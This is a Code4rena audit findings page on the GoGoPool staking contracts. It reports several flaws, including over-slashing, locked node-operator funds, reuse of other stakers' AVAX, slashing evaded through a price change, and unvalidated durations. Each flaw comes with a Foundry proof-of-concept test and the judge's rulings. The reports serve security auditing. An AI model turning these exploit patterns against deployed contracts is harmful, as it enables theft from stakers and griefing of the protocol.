Platform: Code4rena
Start Date: 15/12/2022
Pot Size: $128,000 USDC
Total HM: 28
Participants: 111
Period: 19 days
Judge: GalloDaSballo
Total Solo HM: 1
Id: 194
League: ETH
Rank: 21/111
Findings: 7
Award: $1,442.56
🌟 Selected for report: 3
🚀 Solo Findings: 0
🌟 Selected for report: immeas
Also found by: 0xdeadbeef0x, Allarious, Franfran, HollaDieWaldfee, Josiah, RaymondFam, SmartSek, ast3ros, unforgiven
629.6405 USDC - $629.64
A node operator sends in the amount of duration they want to stake for. Behind the scenes Rialto will stake in 14 day cycles and then distribute rewards.
If a node operator doesn't have high enough availability and doesn't get any rewards, the protocol will slash their staked GGP
. For calculating the expected rewards that are missed however, the full duration is used:
File: MinipoolManager.sol 557: function getExpectedAVAXRewardsAmt(uint256 duration, uint256 avaxAmt) public view returns (uint256) { 558: ProtocolDAO dao = ProtocolDAO(getContractAddress("ProtocolDAO")); 559: uint256 rate = dao.getExpectedAVAXRewardsRate(); 560: return (avaxAmt.mulWadDown(rate) * duration) / 365 days; // full duration used when calculating expected reward 561: } ... 670: function slash(int256 index) private { ... 673: uint256 duration = getUint(keccak256(abi.encodePacked("minipool.item", index, ".duration"))); 674: uint256 avaxLiquidStakerAmt = getUint(keccak256(abi.encodePacked("minipool.item", index, ".avaxLiquidStakerAmt"))); 675: uint256 expectedAVAXRewardsAmt = getExpectedAVAXRewardsAmt(duration, avaxLiquidStakerAmt); // full duration 676: uint256 slashGGPAmt = calculateGGPSlashAmt(expectedAVAXRewardsAmt);
This is unfair to the node operator because the expected rewards is from a 14 day cycle.
Also, If they were to be unavailable again, in a later cycle, they would get slashed for the full duration once again.
A node operator staking for a long time is getting slashed for an unfairly large amount if they aren't available during a 14 day period.
The protocol also wants node operators to stake in longer periods: https://multisiglabs.notion.site/Known-Issues-42e2f733daf24893a93ad31100f4cd98
Team Comment:
- This can only be taken advantage of when signing up for 2-4 week validation periods. Our protocol is incentivizing nodes to sign up for 3-12 month validation periods. If the team notices this mechanic being abused, Rialto may update its GGP reward calculation to disincentive this behavior.
This slashing amount calculation incentives the node operator to sign up for the shortest period possible and restake themselves to minimize possible losses.
Test in MinipoolManager.t.sol
:
function testRecordStakingEndWithSlashHighDuration() public { uint256 duration = 365 days; uint256 depositAmt = 1000 ether; uint256 avaxAssignmentRequest = 1000 ether; uint256 validationAmt = depositAmt + avaxAssignmentRequest; uint128 ggpStakeAmt = 200 ether; vm.startPrank(nodeOp); ggp.approve(address(staking), MAX_AMT); staking.stakeGGP(ggpStakeAmt); MinipoolManager.Minipool memory mp1 = createMinipool(depositAmt, avaxAssignmentRequest, duration); vm.stopPrank(); address liqStaker1 = getActorWithTokens("liqStaker1", MAX_AMT, MAX_AMT); vm.prank(liqStaker1); ggAVAX.depositAVAX{value: MAX_AMT}(); vm.prank(address(rialto)); minipoolMgr.claimAndInitiateStaking(mp1.nodeID); bytes32 txID = keccak256("txid"); vm.prank(address(rialto)); minipoolMgr.recordStakingStart(mp1.nodeID, txID, block.timestamp); skip(2 weeks); // a two week cycle vm.prank(address(rialto)); minipoolMgr.recordStakingEnd{value: validationAmt}(mp1.nodeID, block.timestamp, 0 ether); assertEq(vault.balanceOf("MinipoolManager"), depositAmt); int256 minipoolIndex = minipoolMgr.getIndexOf(mp1.nodeID); MinipoolManager.Minipool memory mp1Updated = minipoolMgr.getMinipool(minipoolIndex); assertEq(mp1Updated.status, uint256(MinipoolStatus.Withdrawable)); assertEq(mp1Updated.avaxTotalRewardAmt, 0); assertTrue(mp1Updated.endTime != 0); assertEq(mp1Updated.avaxNodeOpRewardAmt, 0); assertEq(mp1Updated.avaxLiquidStakerRewardAmt, 0); assertEq(minipoolMgr.getTotalAVAXLiquidStakerAmt(), 0); assertEq(staking.getAVAXAssigned(mp1Updated.owner), 0); assertEq(staking.getMinipoolCount(mp1Updated.owner), 0); // log slash amount console.log("slashedAmount",mp1Updated.ggpSlashAmt); }
Slashed amount for a 365 days
duration is 100 eth
(10%). However, where they to stake for the minimum time, 14 days
the slashed amount would be only ~3.8 eth
.
vs code, forge
Either hard code the duration to 14 days for calculating expected rewards or calculate the actual duration using startTime
and endTime
.
#0 - GalloDaSballo
2023-01-10T17:35:19Z
Coded POC -> Primary
#1 - c4-judge
2023-01-10T17:35:24Z
GalloDaSballo marked the issue as primary issue
#2 - emersoncloud
2023-01-17T09:07:41Z
#3 - 0xju1ie
2023-01-17T17:46:30Z
I think this should be primary
#4 - emersoncloud
2023-01-24T13:35:12Z
Might be the more clear description compared to #136 of the specific duration bug. I'm not sure if this should be the primary or a duplicate.
#5 - GalloDaSballo
2023-02-02T12:43:49Z
The Warden has shown an incorrect formula that uses the duration
of the pool for slashing.
The resulting loss can be up to 26 times the yield that should be made up for.
Because the:
I believe the most appropriate severity to be High
#6 - c4-judge
2023-02-02T12:44:06Z
GalloDaSballo changed the severity to 3 (High Risk)
#7 - c4-judge
2023-02-08T08:29:51Z
GalloDaSballo marked the issue as selected for report
🌟 Selected for report: 0xdeadbeef0x
Also found by: 0Kage, 0xc0ffEE, 0xmint, AkshaySrivastav, Allarious, Ch_301, Franfran, HollaDieWaldfee, IllIllI, Jeiwan, Lirios, Manboy, adriro, ak1, bin2chen, caventa, chaduke, clems4ever, cozzetti, datapunk, imare, immeas, kaliberpoziomka8552, ladboy233, pauliax, peritoflores, rvierdiiev, sces60107, sk8erboy, stealthyz, unforgiven, wagmi, wallstreetvilkas, yixxas
9.9345 USDC - $9.93
https://github.com/code-423n4/2022-12-gogopool/blob/main/contracts/contract/MinipoolManager.sol#L163-L164 https://github.com/code-423n4/2022-12-gogopool/blob/main/contracts/contract/MinipoolManager.sol#L262-L263
A user can try to recreate their pool using createMinipool
supplying enough funds to start the pool again. If they do this without calling withdrawMinipoolFunds
first their previously staked funds will be locked in the vault.
State transitions to Prelaunch
from Withdrawable
and Error
are allowed:
File: MinipoolManager.sol 163: } else if (currentStatus == MinipoolStatus.Withdrawable || currentStatus == MinipoolStatus.Error) { 164: isValid = (to == MinipoolStatus.Finished || to == MinipoolStatus.Prelaunch);
Since createMinipool
overwrites the previous staked amount with the new, what was staked previously is lost since both withdrawMinipoolFunds
and _cancelMinipoolAndReturnFunds
looks at avaxNodeOpAmt
to determine how much funds to transfer back to the node operator:
File: MinipoolManager.sol 262: setUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".avaxNodeOpAmt")), msg.value); 263: setUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".avaxLiquidStakerAmt")), avaxAssignmentRequest);
If a node operator calls createMinipool
on a pool that is in state Withdrawable
or Error
their previously staked funds will be locked in the vault.
I don't know if this will be handled in UI or not, hence submitting this as medium instead of QA.
PoC test in MinipoolManager.t.sol
function testError_createMinipoolByNodeOp() public { // same setup as testFullCycle_Error address lilly = getActorWithTokens("lilly", MAX_AMT, MAX_AMT); vm.prank(lilly); ggAVAX.depositAVAX{value: MAX_AMT}(); uint256 duration = 2 weeks; uint256 depositAmt = 1000 ether; uint256 avaxAssignmentRequest = 1000 ether; uint256 validationAmt = depositAmt + avaxAssignmentRequest; uint128 ggpStakeAmt = 200 ether; uint256 originalRialtoBalance = address(rialto).balance; vm.startPrank(nodeOp); ggp.approve(address(staking), ggpStakeAmt); staking.stakeGGP(ggpStakeAmt); MinipoolManager.Minipool memory mp = createMinipool(depositAmt, avaxAssignmentRequest, duration); vm.stopPrank(); vm.startPrank(address(rialto)); minipoolMgr.claimAndInitiateStaking(mp.nodeID); // Assume something goes wrong and we are unable to launch a minipool bytes32 errorCode = "INVALID_NODEID"; minipoolMgr.recordStakingError{value: validationAmt}(mp.nodeID, errorCode); assertEq(address(rialto).balance - originalRialtoBalance, 0); // NodeOps funds should be back in vault assertEq(vault.balanceOf("MinipoolManager"), depositAmt); mp = minipoolMgr.getMinipool(mp.index); // pool in state error assertEq(mp.status, uint256(MinipoolStatus.Error)); vm.stopPrank(); vm.startPrank(nodeOp); mp = createMinipool(depositAmt, avaxAssignmentRequest, duration); // funds in the vault assertEq(vault.balanceOf("MinipoolManager"), depositAmt * 2); skip(5 days); // cancel minipoolMgr.cancelMinipool(mp.nodeID); // originally staked funds still in vault assertEq(vault.balanceOf("MinipoolManager"), depositAmt); }
The same is true if the pool actually goes through a staking cycle.
vs code, forge
Don't allow state transitions from Withdrawable
or Error
to Prelaunch
or
If the protocol wants to allow this functionality, have createMinipool add to avaxNodeOpAmt
and avaxLiquidStakerAmt
instead of overwriting them.
#0 - c4-judge
2023-01-10T17:00:57Z
GalloDaSballo marked the issue as duplicate of #617
#1 - c4-judge
2023-01-10T17:01:29Z
GalloDaSballo marked the issue as duplicate of #213
#2 - c4-judge
2023-02-03T19:26:10Z
GalloDaSballo changed the severity to 3 (High Risk)
#3 - c4-judge
2023-02-08T08:26:45Z
GalloDaSballo changed the severity to 2 (Med Risk)
#4 - c4-judge
2023-02-08T08:50:11Z
GalloDaSballo changed the severity to 3 (High Risk)
#5 - c4-judge
2023-02-08T20:23:44Z
GalloDaSballo marked the issue as satisfactory
#6 - c4-judge
2023-02-09T08:53:06Z
GalloDaSballo changed the severity to QA (Quality Assurance)
#7 - Simon-Busch
2023-02-09T12:48:55Z
Changed severity back from QA to H as requested by @GalloDaSballo
🌟 Selected for report: 0xbepresent
Also found by: 0Kage, Atarpara, Ch_301, Manboy, cozzetti, datapunk, immeas, kaliberpoziomka8552, peritoflores, rvierdiiev, sces60107, unforgiven, wagmi, yixxas
57.1995 USDC - $57.20
When a pool is set to error the funds are returned back to the vault:
File: MinipoolManager.sol 484: function recordStakingError(address nodeID, bytes32 errorCode) external payable { 485: int256 minipoolIndex = onlyValidMultisig(nodeID); 486: requireValidStateTransition(minipoolIndex, MinipoolStatus.Error); ... 502: // Send the nodeOps AVAX to vault so they can claim later 503: Vault vault = Vault(getContractAddress("Vault")); 504: vault.depositAVAX{value: avaxNodeOpAmt}(); // funds returned to vault 505: 506: // Return Liq stakers funds 507: ggAVAX.depositFromStaking{value: avaxLiquidStakerAmt}(avaxLiquidStakerAmt, 0); 508: 509: Staking staking = Staking(getContractAddress("Staking")); 510: staking.decreaseAVAXAssigned(owner, avaxLiquidStakerAmt); 511: 512: subUint(keccak256("MinipoolManager.TotalAVAXLiquidStakerAmt"), avaxLiquidStakerAmt); 513: 514: emit MinipoolStatusChanged(nodeID, MinipoolStatus.Error); 515: }
From here the node operator can call withdrawMinipoolFunds
to have their staked funds (and any reward) transferred to them. However, Rialto can also finish the minipool by calling finishFailedMinipoolByMultisig
.
But finishFailedMinipoolByMultisig
will not transfer any funds to the node operator. But, since it has changed the state to Finished
it is no longer possible for the node operator to retrieve their funds.
finishFailedMinipoolByMultisig
relies on that the minipool is in the same states as withdrawMinipoolFunds
so any successfully call to it will lock the node operators funds in the vault.
Calling finishFailedMinipoolByMultisig
will lock the node operators staked funds in the vault.
PoC test in MinipoolManager.t.sol
function testError_FinishByMultisig() public { // same setup as testFullCycle_Error address lilly = getActorWithTokens("lilly", MAX_AMT, MAX_AMT); vm.prank(lilly); ggAVAX.depositAVAX{value: MAX_AMT}(); uint256 duration = 2 weeks; uint256 depositAmt = 1000 ether; uint256 avaxAssignmentRequest = 1000 ether; uint256 validationAmt = depositAmt + avaxAssignmentRequest; uint128 ggpStakeAmt = 200 ether; uint256 originalRialtoBalance = address(rialto).balance; vm.startPrank(nodeOp); ggp.approve(address(staking), ggpStakeAmt); staking.stakeGGP(ggpStakeAmt); MinipoolManager.Minipool memory mp = createMinipool(depositAmt, avaxAssignmentRequest, duration); vm.stopPrank(); vm.startPrank(address(rialto)); minipoolMgr.claimAndInitiateStaking(mp.nodeID); // Assume something goes wrong and we are unable to launch a minipool bytes32 errorCode = "INVALID_NODEID"; minipoolMgr.recordStakingError{value: validationAmt}(mp.nodeID, errorCode); assertEq(address(rialto).balance - originalRialtoBalance, 0); // NodeOps funds should be back in vault assertEq(vault.balanceOf("MinipoolManager"), depositAmt); mp = minipoolMgr.getMinipool(mp.index); // pool in state error assertEq(mp.status, uint256(MinipoolStatus.Error)); // Rialto calls to finish the pool minipoolMgr.finishFailedMinipoolByMultisig(mp.nodeID); vm.stopPrank(); // state Finished mp = minipoolMgr.getMinipool(mp.index); assertEq(mp.status, uint256(MinipoolStatus.Finished)); // funds still in vault assertEq(vault.balanceOf("MinipoolManager"), depositAmt); // node operator cannot withdraw their funds vm.prank(nodeOp); vm.expectRevert(MinipoolManager.InvalidStateTransition.selector); minipoolMgr.withdrawMinipoolFunds(mp.nodeID); }
vs code, forge
Have finishFailedMinipoolByMultisig
return the funds, and possible reward, from the vault to the owner of the minipool.
#0 - c4-judge
2023-01-10T19:41:22Z
GalloDaSballo marked the issue as primary issue
#1 - GalloDaSballo
2023-01-10T19:41:30Z
Slightly better description
#2 - emersoncloud
2023-01-17T08:23:52Z
#3 - c4-judge
2023-01-30T20:26:29Z
GalloDaSballo marked the issue as duplicate of #723
#4 - c4-judge
2023-02-08T20:13:30Z
GalloDaSballo marked the issue as satisfactory
🌟 Selected for report: hansfriese
Also found by: 0Kage, 0xdeadbeef0x, Allarious, Aymen0909, Ch_301, Franfran, HollaDieWaldfee, Jeiwan, Nyx, RaymondFam, SmartSek, adriro, betweenETHlines, bin2chen, cccz, datapunk, immeas, kaliberpoziomka8552, peritoflores, wagmi
21.713 USDC - $21.71
Rialo can recreate a pool where the node operator no longer has any stake:
When recreate is called, it checks if the state transition to Prelaunch
is valid:
File: MinipoolManager.sol: 163: } else if (currentStatus == MinipoolStatus.Withdrawable || currentStatus == MinipoolStatus.Error) { 164: isValid = (to == MinipoolStatus.Finished || to == MinipoolStatus.Prelaunch); 165: } else if (currentStatus == MinipoolStatus.Finished || currentStatus == MinipoolStatus.Canceled) { 166: // Once a node is finished/canceled, if they re-validate they go back to beginning state 167: isValid = (to == MinipoolStatus.Prelaunch); 168: } else { 169: isValid = false; 170: }
Finished
is reached when a node operator has withdrawn their stake. Hence has no more AVAX in the vault. But it is allowed to transition to Prelaunch
from both Finished
and Withdrawable
(and Canceled
and Error
).
A node operator can withdraw their stake before the recreate call, then when Rialo recreates the pool AVAX staked from other node operators will be used. As long as the owner of the pool have a good enough GGP collateral. Which, if this is their only "stake", only requires a non-zero amount of GGP staked.
When Rialo recreates a pool the node operator of that pool can stake using AVAX from other node operators waiting to stake.
And when staking is done, withdraw their AVAX.
Calling this high because of this comment in discord:
JohnnyGault — 12/30/2022 3:22 PM
To clarify duration for everyone -- a nodeOp can choose a duration they want, from 14 days to 365 days. But behind the scenes, Rialto will only create a validator for 14 days. At the end of the 14 days, the Avalanche protocol pays out the validation rewards and all funds are returned to the contracts, which divvy up the rewards between liq stakers and nodeops. If the duration still has time left to go, Rialto will call recreateMinipool which will do another 14 days cycle( if it can considering GGP collat and available liq staker funds), compounding the rewards. In this way, the protocol recvs yield from every minipool every 14 days, and the collat ratio of GGP can never get more than 14 days out of whack. In the future we see a path for laddering maturities to maximize yield and still provide necessary liq for stakers.
This means that you can do this every 14 days and only provide liquidity once.
PoC test in MinipoolManager.t.sol
:
function testRecreateMinipoolAndStartAfterWithdraw() public { // same setup as testRecreateMinipool uint256 duration = 2 weeks; uint256 depositAmt = 1000 ether; uint256 avaxAssignmentRequest = 1000 ether; uint256 validationAmt = depositAmt + avaxAssignmentRequest; uint128 ggpStakeAmt = 101 ether; vm.startPrank(nodeOp); ggp.approve(address(staking), MAX_AMT); staking.stakeGGP(ggpStakeAmt); MinipoolManager.Minipool memory mp = createMinipool(depositAmt, avaxAssignmentRequest, duration); vm.stopPrank(); address liqStaker1 = getActorWithTokens("liqStaker1", MAX_AMT, MAX_AMT); vm.prank(liqStaker1); ggAVAX.depositAVAX{value: MAX_AMT}(); vm.prank(address(rialto)); minipoolMgr.claimAndInitiateStaking(mp.nodeID); bytes32 txID = keccak256("txid"); vm.prank(address(rialto)); minipoolMgr.recordStakingStart(mp.nodeID, txID, block.timestamp); skip(duration); uint256 rewards = 10 ether; deal(address(rialto), address(rialto).balance + rewards); vm.prank(address(rialto)); minipoolMgr.recordStakingEnd{value: validationAmt + rewards}(mp.nodeID, block.timestamp, rewards); // nodeOp withdraws vm.prank(nodeOp); minipoolMgr.withdrawMinipoolFunds(mp.nodeID); // rialto recreates the pool vm.prank(address(rialto)); minipoolMgr.recreateMinipool(mp.nodeID); vm.prank(address(rialto)); // claimAndInitiateStaking will fail because there is no funds in the vault vm.expectRevert(Vault.InsufficientContractBalance.selector); minipoolMgr.claimAndInitiateStaking(mp.nodeID); address otherNodeOp = address(0x1337); vm.deal(otherNodeOp,MAX_AMT); vm.prank(guardian); ggp.transfer(otherNodeOp, MAX_AMT); vm.startPrank(otherNodeOp); ggp.approve(address(staking), MAX_AMT); staking.stakeGGP(ggpStakeAmt + 1 ether); // another node op starts a pool createMinipool(depositAmt + 5.75 ether, avaxAssignmentRequest + 5.75 ether, duration); vm.stopPrank(); vm.prank(address(rialto)); // claim and stake will take the other nodeOps staked avax, and staked ggp minipoolMgr.claimAndInitiateStaking(mp.nodeID); }
vs code, forge
use a new state for recreated pools, Recreated
and only allow transition to it from Error
and Withdrawable
#0 - c4-judge
2023-01-10T20:57:29Z
GalloDaSballo marked the issue as duplicate of #569
#1 - c4-judge
2023-01-31T13:23:01Z
GalloDaSballo marked the issue as duplicate of #213
#2 - c4-judge
2023-02-03T12:33:00Z
GalloDaSballo changed the severity to 2 (Med Risk)
#3 - c4-judge
2023-02-03T19:26:10Z
GalloDaSballo changed the severity to 3 (High Risk)
#4 - c4-judge
2023-02-08T08:26:46Z
GalloDaSballo changed the severity to 2 (Med Risk)
#5 - c4-judge
2023-02-08T08:50:11Z
GalloDaSballo changed the severity to 3 (High Risk)
#6 - c4-judge
2023-02-09T08:26:14Z
GalloDaSballo marked the issue as not a duplicate
#7 - c4-judge
2023-02-09T08:50:19Z
GalloDaSballo changed the severity to 2 (Med Risk)
#8 - c4-judge
2023-02-09T08:50:46Z
GalloDaSballo marked the issue as duplicate of #569
#9 - c4-judge
2023-02-09T08:51:04Z
GalloDaSballo marked the issue as satisfactory
🌟 Selected for report: bin2chen
Also found by: 0xbepresent, 0xhunter, RaymondFam, Saintcode_, adriro, ast3ros, cryptonue, immeas
89.6924 USDC - $89.69
Judge has assessed an item in Issue #846 as 2 risk. The relevant finding follows:
#0 - c4-judge
2023-02-03T19:15:57Z
GalloDaSballo marked the issue as duplicate of #521
#1 - c4-judge
2023-02-03T19:16:04Z
GalloDaSballo marked the issue as partial-50
154.5481 USDC - $154.55
https://github.com/code-423n4/2022-12-gogopool/blob/main/contracts/contract/Staking.sol#L379-L383
When creating a minipool the node operator is required to put up a collateral in GGP
, the protocol token. The amount of GGP
collateral needed is currently calculated to be 10% of the AVAX
staked. This is calculated using the price of GGP - AVAX
.
If the node operator doesn't have high enough availability and doesn't get any rewards the protocol will slash their GGP
collateral to reward liquid stakers. This is also calculated using the price of GGP - AVAX
:
File: MinipoolManager.sol 547: function calculateGGPSlashAmt(uint256 avaxRewardAmt) public view returns (uint256) { 548: Oracle oracle = Oracle(getContractAddress("Oracle")); 549: (uint256 ggpPriceInAvax, ) = oracle.getGGPPriceInAVAX(); // price might change or be manipulated 550: return avaxRewardAmt.divWadDown(ggpPriceInAvax); 551: } ... 670: function slash(int256 index) private { ... 673: uint256 duration = getUint(keccak256(abi.encodePacked("minipool.item", index, ".duration"))); 674: uint256 avaxLiquidStakerAmt = getUint(keccak256(abi.encodePacked("minipool.item", index, ".avaxLiquidStakerAmt"))); 675: uint256 expectedAVAXRewardsAmt = getExpectedAVAXRewardsAmt(duration, avaxLiquidStakerAmt); 676: uint256 slashGGPAmt = calculateGGPSlashAmt(expectedAVAXRewardsAmt); ... 681: Staking staking = Staking(getContractAddress("Staking")); 682: staking.slashGGP(owner, slashGGPAmt); 683: }
This is then subtracted from their staked amount:
File: Staking.sol 94: function decreaseGGPStake(address stakerAddr, uint256 amount) internal { 95: int256 stakerIndex = requireValidStaker(stakerAddr); 96: subUint(keccak256(abi.encodePacked("staker.item", stakerIndex, ".ggpStaked")), amount); // can fail due to underflow 97: } ... 379: function slashGGP(address stakerAddr, uint256 ggpAmt) public onlySpecificRegisteredContract("MinipoolManager", msg.sender) { 380: Vault vault = Vault(getContractAddress("Vault")); 381: decreaseGGPStake(stakerAddr, ggpAmt); 382: vault.transferToken("ProtocolDAO", ggp, ggpAmt); 383: }
The issue is that the current staked amount is never checked so the subUint
can fail due to underflow if the price has changed since the minipool was created/recreated.
If a node operator doesn't have enough collateral, possibly caused by price changes in GGP
during slashing they evade slashing all together.
Its even possible for the node operator to foresee this and manipulate the price of GGP
just prior to the period ending if they know that they are going to be slashed.
PoC test in MinipoolManager.t.sol
:
function testRecordStakingEndWithSlashNotEnoughStake() public { uint256 duration = 365 days; uint256 depositAmt = 1000 ether; uint256 avaxAssignmentRequest = 1000 ether; uint256 validationAmt = depositAmt + avaxAssignmentRequest; uint128 ggpStakeAmt = 100 ether; // just enough vm.startPrank(nodeOp); ggp.approve(address(staking), MAX_AMT); staking.stakeGGP(ggpStakeAmt); MinipoolManager.Minipool memory mp1 = createMinipool(depositAmt, avaxAssignmentRequest, duration); vm.stopPrank(); address liqStaker1 = getActorWithTokens("liqStaker1", MAX_AMT, MAX_AMT); vm.prank(liqStaker1); ggAVAX.depositAVAX{value: MAX_AMT}(); vm.prank(address(rialto)); minipoolMgr.claimAndInitiateStaking(mp1.nodeID); bytes32 txID = keccak256("txid"); vm.prank(address(rialto)); minipoolMgr.recordStakingStart(mp1.nodeID, txID, block.timestamp); skip(2 weeks); vm.prank(address(rialto)); // price changes just a bit oracle.setGGPPriceInAVAX(0.999 ether, block.timestamp); vm.prank(address(rialto)); vm.expectRevert(); // staking cannot end because of underflow minipoolMgr.recordStakingEnd{value: validationAmt}(mp1.nodeID, block.timestamp, 0 ether); }
The only thing the protocol can do now is to call recordStakingError
for the minipool, since no other state changes are allowed. This will return the staked funds but it will not slash the GGP
amount for the node operator. Hence the node operator has evaded the slashing.
vs code, forge
If the amount to be slashed is greater than what the node operator has staked, slash all their stake.
#0 - c4-judge
2023-01-09T09:46:45Z
GalloDaSballo marked the issue as duplicate of #136
#1 - c4-judge
2023-02-03T19:35:25Z
GalloDaSballo marked the issue as not a duplicate
#2 - c4-judge
2023-02-03T19:40:43Z
GalloDaSballo changed the severity to 3 (High Risk)
#3 - c4-judge
2023-02-03T19:55:15Z
GalloDaSballo changed the severity to 2 (Med Risk)
#4 - c4-judge
2023-02-03T19:55:29Z
GalloDaSballo marked the issue as primary issue
#5 - GalloDaSballo
2023-02-03T19:55:46Z
Making primary for the inability to slash if price drops because of coded POC which is well presented
#6 - GalloDaSballo
2023-02-03T19:57:32Z
The Warden has shown a risk to the protocol, in cases in which the price of GPP drops too low, slashing could not be performed.
In contrast to other reports, this is a finding that shows an issue with the system and it's consequences, more so than an economic attack
For this reason I believe Medium to be the most appropriate Severity
#7 - c4-judge
2023-02-03T21:30:49Z
GalloDaSballo marked the issue as selected for report
🌟 Selected for report: immeas
Also found by: 0x73696d616f, 0xbepresent, 0xdeadbeef0x, V_B, unforgiven
479.8358 USDC - $479.84
https://github.com/code-423n4/2022-12-gogopool/blob/main/contracts/contract/MinipoolManager.sol#L196-L269 https://github.com/code-423n4/2022-12-gogopool/blob/main/contracts/contract/MinipoolManager.sol#L560
When a node operator creates a minipool they pass which duration they want to stake for. There is no validation for this field so they can pass any field:
File: MinipoolManager.sol 196: function createMinipool( 197: address nodeID, 198: uint256 duration, 199: uint256 delegationFee, 200: uint256 avaxAssignmentRequest 201: ) external payable whenNotPaused { ... // no validation for duration 256: setUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".status")), uint256(MinipoolStatus.Prelaunch)); 257: setUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".duration")), duration); // duration stored 258: setUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".delegationFee")), delegationFee);
Later when staking is done. if the node op was slashed, duration
is used to calculate the slashing amount:
File: MinipoolManager.sol 557: function getExpectedAVAXRewardsAmt(uint256 duration, uint256 avaxAmt) public view returns (uint256) { 558: ProtocolDAO dao = ProtocolDAO(getContractAddress("ProtocolDAO")); 559: uint256 rate = dao.getExpectedAVAXRewardsRate(); 560: return (avaxAmt.mulWadDown(rate) * duration) / 365 days; 561: } ... 670: function slash(int256 index) private { ... 673: uint256 duration = getUint(keccak256(abi.encodePacked("minipool.item", index, ".duration"))); 674: uint256 avaxLiquidStakerAmt = getUint(keccak256(abi.encodePacked("minipool.item", index, ".avaxLiquidStakerAmt"))); 675: uint256 expectedAVAXRewardsAmt = getExpectedAVAXRewardsAmt(duration, avaxLiquidStakerAmt); 676: uint256 slashGGPAmt = calculateGGPSlashAmt(expectedAVAXRewardsAmt);
The node operator cannot pass in 0
because that reverts due to zero transfer check in Vault. However the node operator can pass in 1
to guarantee the lowest slash amount possible.
Rialto might fail this, but there is little information about how Rialto uses the duration
passed. According to this comment they might default to 14 days
in which this finding is valid:
JohnnyGault — 12/30/2022 3:22 PM
To clarify duration for everyone -- a nodeOp can choose a duration they want, from 14 days to 365 days. But behind the scenes, Rialto will only create a validator for 14 days. ...
The node operator can send in a very low duration
to get minimize slashing amounts. It depends on the implementation in Rialto, which we cannot see. Hence submitting this.
PoC test in MinipoolManager.t.sol
:
function testRecordStakingEndWithSlashZeroDuration() public { uint256 duration = 1; // zero duration causes vault to fail on 0 amount uint256 depositAmt = 1000 ether; uint256 avaxAssignmentRequest = 1000 ether; uint256 validationAmt = depositAmt + avaxAssignmentRequest; uint128 ggpStakeAmt = 200 ether; vm.startPrank(nodeOp); ggp.approve(address(staking), MAX_AMT); staking.stakeGGP(ggpStakeAmt); MinipoolManager.Minipool memory mp1 = createMinipool(depositAmt, avaxAssignmentRequest, duration); vm.stopPrank(); address liqStaker1 = getActorWithTokens("liqStaker1", MAX_AMT, MAX_AMT); vm.prank(liqStaker1); ggAVAX.depositAVAX{value: MAX_AMT}(); vm.prank(address(rialto)); minipoolMgr.claimAndInitiateStaking(mp1.nodeID); bytes32 txID = keccak256("txid"); vm.prank(address(rialto)); minipoolMgr.recordStakingStart(mp1.nodeID, txID, block.timestamp); skip(2 weeks); vm.prank(address(rialto)); minipoolMgr.recordStakingEnd{value: validationAmt}(mp1.nodeID, block.timestamp, 0 ether); assertEq(vault.balanceOf("MinipoolManager"), depositAmt); int256 minipoolIndex = minipoolMgr.getIndexOf(mp1.nodeID); MinipoolManager.Minipool memory mp1Updated = minipoolMgr.getMinipool(minipoolIndex); assertEq(mp1Updated.status, uint256(MinipoolStatus.Withdrawable)); assertEq(mp1Updated.avaxTotalRewardAmt, 0); assertTrue(mp1Updated.endTime != 0); assertEq(mp1Updated.avaxNodeOpRewardAmt, 0); assertEq(mp1Updated.avaxLiquidStakerRewardAmt, 0); assertEq(minipoolMgr.getTotalAVAXLiquidStakerAmt(), 0); assertEq(staking.getAVAXAssigned(mp1Updated.owner), 0); assertEq(staking.getMinipoolCount(mp1Updated.owner), 0); // very small slash amount assertLt(mp1Updated.ggpSlashAmt, 0.000_01 ether); assertGt(staking.getGGPStake(mp1Updated.owner), ggpStakeAmt - 0.000_01 ether); }
vs code, forge
Regardless if Rialto will fail this or not, I recommend that the duration
passed is validated to be withing 14 days
and 365 days
.
#0 - c4-judge
2023-01-09T13:19:15Z
GalloDaSballo marked the issue as duplicate of #694
#1 - c4-judge
2023-01-09T16:09:22Z
GalloDaSballo marked the issue as not a duplicate
#2 - c4-judge
2023-01-09T19:13:49Z
GalloDaSballo marked the issue as duplicate of #694
#3 - c4-judge
2023-02-02T12:15:34Z
GalloDaSballo marked the issue as not a duplicate
#4 - c4-judge
2023-02-02T12:36:43Z
GalloDaSballo marked the issue as primary issue
#5 - GalloDaSballo
2023-02-02T12:38:47Z
The Warden has shown how, due to a lack of check, a duration below 14 days can be set, this could also be used to reduce the slash penalty.
I believe that in reality, such a pool will be closed via recordStakingError
, however, this enables a grief that could impact the Protocol in a non-trivial manner.
For this reason, I believe the most appropriate severity to be Medium
#6 - c4-judge
2023-02-02T12:38:53Z
GalloDaSballo marked the issue as selected for report